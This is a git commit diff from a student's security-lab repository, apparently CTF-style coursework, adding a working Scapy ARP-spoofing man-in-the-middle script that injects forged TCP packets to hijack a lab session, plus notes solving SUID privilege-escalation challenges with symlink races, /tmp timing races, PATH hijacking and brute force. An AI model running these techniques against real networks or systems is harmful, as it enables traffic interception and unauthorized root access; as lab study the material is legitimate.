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completed project 3, onto project 4

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Kaushik Narayan R 2024-10-02 22:13:36 -07:00
parent 0513792a0d
commit a691485941
4 changed files with 294 additions and 29 deletions
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2
3.11/scapy_tcp_handshake.py
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@ -9,7 +9,7 @@ syn_pkt=l2/l3/syn_l4
ans,unans=srp(syn_pkt, iface='eth0')
print(ans[0].answer[TCP])
ack_l4=TCP(sport=31337, dport=31337, seq=31338, ack=ans[0].answer[TCP].seq + 1, flags=0x10)
ack_l4=TCP(sport=31337, dport=31337, seq=ans[0].answer[TCP].ack, ack=ans[0].answer[TCP].seq + 1, flags=0x10)
ack_pkt=l2/l3/ack_l4
ans,unans=srp(ack_pkt, iface='eth0')

169
3.14/3d.2/scapy_mitm_arping.py Normal file
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@ -0,0 +1,169 @@
import warnings
from argparse import ArgumentParser
from scapy.layers.l2 import Ether, ARP
from scapy.layers.inet import IP, TCP
from scapy.packet import Raw
from scapy.arch import get_if_addr, get_if_hwaddr
from scapy.sendrecv import srp1, sendp, sniff
WHO_HAS = 1
IS_AT = 2
MAIN_IF = "eth0"
main_if_mac = get_if_hwaddr(MAIN_IF)
main_if_ip = get_if_addr(MAIN_IF)
broadcast_mac = "ff:ff:ff:ff:ff:ff"
# target_1_ip = "10.0.0.3"
# target_2_ip = "10.0.0.4"
target_1_ip = "3.13.37.3"
target_2_ip = "3.13.37.4"
target_1_mac = ""
target_2_mac = ""
# target_port = 31337
target_port = 1992
backdoored = False
flag_mode = False
def get_target_macs():
pkt_1 = Ether() / ARP()
pkt_1[Ether].src = main_if_mac
pkt_1[Ether].dst = broadcast_mac
pkt_1[ARP].op = WHO_HAS
pkt_1[ARP].hwsrc = main_if_mac
pkt_1[ARP].hwdst = broadcast_mac
pkt_1[ARP].psrc = main_if_ip
pkt_1[ARP].pdst = target_1_ip
pkt_2 = pkt_1.copy()
pkt_2[ARP].pdst = target_2_ip
ans_1 = srp1(pkt_1, iface=MAIN_IF)
ans_2 = srp1(pkt_2, iface=MAIN_IF)
target_1_mac = ans_1[ARP].hwsrc
target_2_mac = ans_2[ARP].hwsrc
return (target_1_mac, target_2_mac)
def spoof_target(target_ip, target_mac, fake_ip):
# pretend that fake_ip is at main_if_mac
pkt = Ether() / ARP()
pkt[Ether].src = main_if_mac
pkt[Ether].dst = target_mac
pkt[ARP].op = IS_AT
pkt[ARP].hwsrc = main_if_mac
pkt[ARP].hwdst = target_mac
pkt[ARP].psrc = fake_ip
pkt[ARP].pdst = target_ip
sendp(pkt, iface=MAIN_IF)
def backdoor(port, seq, ack):
global backdoored
# prerequisites
# needs target macs first
if target_1_mac == "" or target_2_mac == "":
raise Exception("get mac addresses first")
pkt = Ether() / IP() / TCP() / Raw()
pkt[Ether].src = target_2_mac
pkt[Ether].dst = target_1_mac
pkt[IP].src = target_2_ip
pkt[IP].dst = target_1_ip
pkt[TCP].sport = port
pkt[TCP].dport = target_port # target_1 always listens on this port
pkt[TCP].seq = ack
pkt[TCP].ack = seq + len("SECRET CONFIRMED\n:>\n")
pkt[TCP].flags = "PA"
pkt[Raw].load = b"BACKDOOR\n"
# pkt.show()
sendp(pkt, iface=MAIN_IF)
# backdoor is now open
backdoored = True
def get_flag(port, seq, ack):
flag_pkt = Ether() / IP() / TCP() / Raw()
flag_pkt[Ether].src = target_2_mac
flag_pkt[Ether].dst = target_1_mac
flag_pkt[IP].src = target_2_ip
flag_pkt[IP].dst = target_1_ip
flag_pkt[TCP].sport = port
flag_pkt[TCP].dport = target_port # target_1 always listens on this port
flag_pkt[TCP].seq = ack
flag_pkt[TCP].ack = seq + len("BACKDOOR OPEN\n")
flag_pkt[TCP].flags = "PA"
flag_pkt[Raw].load = b"FLAG\n"
# print("\n-----\nFlag packet:\n")
# flag_pkt[TCP].show()
# print("\n-----\n")
sendp(flag_pkt, iface=MAIN_IF)
def packet_handler(pkt):
global backdoored
raw_load = pkt[Raw].load.decode("latin")
print(
str(pkt[IP].src) + ":" + str(pkt[TCP].sport),
">",
str(pkt[IP].dst) + ":" + str(pkt[TCP].dport),
)
if raw_load.startswith("SECRET CONFIRMED") and not backdoored:
backdoor(port=pkt[TCP].dport, seq=pkt[TCP].seq, ack=pkt[TCP].ack)
if raw_load.startswith("BACKDOOR OPEN") and backdoored:
get_flag(port=pkt[TCP].dport, seq=pkt[TCP].seq, ack=pkt[TCP].ack)
print(raw_load, end="")
# pkt[TCP].show()
def capture_packets():
sniff(
prn=packet_handler,
iface=MAIN_IF,
lfilter=lambda x: x.haslayer(TCP) and x.haslayer(Raw),
)
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument(
"-l", "--list-macs", required=False, dest="list_macs", action="store_true"
)
parser.add_argument(
"-s", "--arp-spoof", required=False, dest="arp_spoof", action="store_true"
)
parser.add_argument(
"-c", "--capture", required=False, dest="capture", action="store_true"
)
parser.add_argument(
"-i", "--infiltrate", required=False, dest="infiltrate", action="store_true"
)
args = parser.parse_args()
if args.arp_spoof and not args.list_macs:
args.list_macs = True
warnings.warn("Warning: spoofing needs MAC addresses, acquiring them first")
if args.infiltrate:
flag_mode = True
if args.list_macs:
target_1_mac, target_2_mac = get_target_macs()
print(target_1_ip + " is at " + target_1_mac)
print(target_2_ip + " is at " + target_2_mac)
if args.arp_spoof:
spoof_target(target_1_ip, target_1_mac, target_2_ip)
spoof_target(target_2_ip, target_2_mac, target_1_ip)
if args.capture:
capture_packets()

51
3.14/scapy_mitm_arping.py
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@ -20,7 +20,7 @@ target_2_ip = "10.0.0.4"
target_1_mac = ""
target_2_mac = ""
prev_load = ""
target_port = 31337
flag_mode = False
@ -60,50 +60,45 @@ def spoof_target(target_ip, target_mac, fake_ip):
sendp(pkt, iface=MAIN_IF)
def handle_secret(secret, port, seq, ack):
global flag_mode
if not flag_mode:
print("Secret:", secret)
return
# masquerade as target_2 and talk to target_1
global target_1_mac
global target_2_mac
global target_1_ip
global target_2_ip
pkt = Ether() / IP() / TCP()
def backdoor(port, seq, ack, msg):
# prerequisites
# needs target macs first
if target_1_mac == "" or target_2_mac == "":
raise Exception("get mac addresses first")
pkt = Ether() / IP() / TCP() / Raw()
pkt[Ether].src = target_2_mac
pkt[Ether].dst = target_1_mac
pkt[IP].src = target_2_ip
pkt[IP].dst = target_1_ip
pkt[TCP].sport = port
pkt[TCP].dport = 31337 # target_1 always listens on this port
pkt[TCP].seq = seq
pkt[TCP].ack = ack
pkt[TCP].flags = 0x02 # SYN (???)
pkt.show()
pkt[TCP].dport = target_port # target_1 always listens on this port
pkt[TCP].seq = ack
pkt[TCP].ack = seq + len(msg)
pkt[TCP].flags = "PA"
pkt[Raw].load = b"FLAG\n"
# pkt.show()
sendp(pkt, iface=MAIN_IF)
def packet_handler(pkt):
global prev_load
raw_load = pkt[Raw].load.decode("latin")
print(
str(pkt[IP].src) + ":" + str(pkt[TCP].sport),
">",
str(pkt[IP].dst) + ":" + str(pkt[TCP].dport),
)
raw_load = pkt[Raw].load.decode("utf-8")
secret = ""
if raw_load != prev_load:
if prev_load.startswith("SECRET"):
secret = raw_load.strip()
handle_secret(
secret, port=pkt[TCP].sport, seq=pkt[TCP].seq, ack=pkt[TCP].ack
)
prev_load = raw_load
if raw_load.startswith("COMMANDS"):
backdoor(port=pkt[TCP].dport, seq=pkt[TCP].seq, ack=pkt[TCP].ack, msg=raw_load)
print(raw_load, end="")
def capture_packets():
sniff(prn=packet_handler, iface=MAIN_IF, lfilter=lambda x: x.haslayer(Raw))
sniff(
prn=packet_handler,
iface=MAIN_IF,
lfilter=lambda x: x.haslayer(TCP) and x.haslayer(Raw),
)
if __name__ == "__main__":

101
Dojo Notes.md
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@ -246,6 +246,7 @@ nc 10.0.0.142 31337
- we observe that a sequence repeats:
- 10.0.0.3:31337 sends a command: "SECRET", to 10.0.0.4 at a random port
- note: how does 3 know which port to send to?
- [after 3d] idiot, 4 opens the tcp handshake
- 4 responds with a secret, it's in ascii?
- 3 sends a list of available (?) commands - echo, flag, and then asks for a command
- 4 responds with echo, and sends "Hello, World!"
@ -253,5 +254,105 @@ nc 10.0.0.142 31337
- connection closes, repeats with another randomized port for 4
- note that 3 sends a secret and a list of commands that includes a flag command
- craft a packet masquerading as 4, with the flag command, wait for a secret to arrive and put it in the packet
- [after 3d] idiot, read the code, you don't need the secret, just hijack the connection
- in the time it takes 3 to do the legitimate echo from 4, we could probably send the flag command to 3 and have it processed in the same ephemeral connection
- let's try
### lab 3c was chill, no notes
### lab 3d
#### .2 - mitm arping
- same as 3.14, approaching this first for deadline
- client at 3.13.37.4, random port
- server at 3.13.37.3, port 1992
- flow:
- TCP handshake:
- client -> SYN -> server
- server -> SYNACK -> client
- client -> ACK -> server
- secret is sent:
- server -> PUSHACK -> asks for secret -> client
- client -> ACK, then PUSHACK -> secret string \n-> client
- server -> ACK, then PUSHACK -> secret confirmed -> client
- at this point, inject BACKDOOR packet before the actual client
- client -> ACK, then PUSHACK -> ECHO: -> server
- after backdoor, send a FLAG packet
### going back to continue 3.14 with this understanding
---
- [after 3d] updated understanding
- client at 10.0.0.4, random port
- server at 10.0.0.3, port 31337
- flow:
- TCP handshake:
- client -> SYN -> server
- server -> SYNACK -> client
- client -> ACK -> server
- secret is sent:
- server -> PUSHACK -> asks for secret -> client
- client -> ACK, then PUSHACK -> secret string \n-> client
- server -> ACK, then PUSHACK -> list of commands -> client
- at this point, inject FLAG command before the actual client
- client -> ACK, then PUSHACK -> ECHO -> server
## Project 04 Hijacking Binary Power (Pwning)
- seems we have access to the source code, and we're given a suid-set executable
### .02 - exec them all
- title helped
- `exec -a <passwd> /challenge/run`
### .03 - altering arg[0]
- +3 lops off first 3 chars
### .04 - symmer
- symlink /flag to ~/flag
### .05 - when is a secret not secret
### .10 - somewhere over the rainbow
- online tool
### .11 - byte compare
- this strncmp takes the lower length (doesn't take null tho), so just give it a single byte
- only 256 possible values, bruteforce
```bash
for i in $(seq 0 255); do
i_chr=$(printf "\x$(printf "%x" "$i")")
/challenge/run $i_chr
done
```
### .12 - symmer in time
- 5 second window
- initially have a dummy `~/flag`, run the challenge, within 5 seconds delete it and create it as a symlink to `/flag`
### .13 - time after time
- 2 second window
- creates tmp files, writes target to one, sleeps for 2 secs, then reads from it and compares with passwd checksum
- have `umask 002 ; echo <checksum> > /tmp/hash_output_1000_<randnum>` in one shell ready for tab completion of the random number part
- run `/challenge/run something` in another shell, then run the above
### .14 - controlling your path
- make sure PATH is set so that it uses your program
- don't specify a shell so that it uses `/bin/sh` - [see here](https://www.qnx.com/developers/docs/6.5.0SP1.update/com.qnx.doc.neutrino_lib_ref/e/execlp.html#:~:text=If%20the%20process%20image%20file)
> "If the process image file isn't a valid executable object, the contents of the file are passed as standard input to a command interpreter conforming to the system() function. In this case, the command interpreter becomes the new process image."
- i assume the command interpreter that gets used has the SUID bit
### .15 - blind leading the blind
- basically, stdout and stderr for the child are set to `/dev/null` so instead of spawning root shell, use `cat flag > output` and read output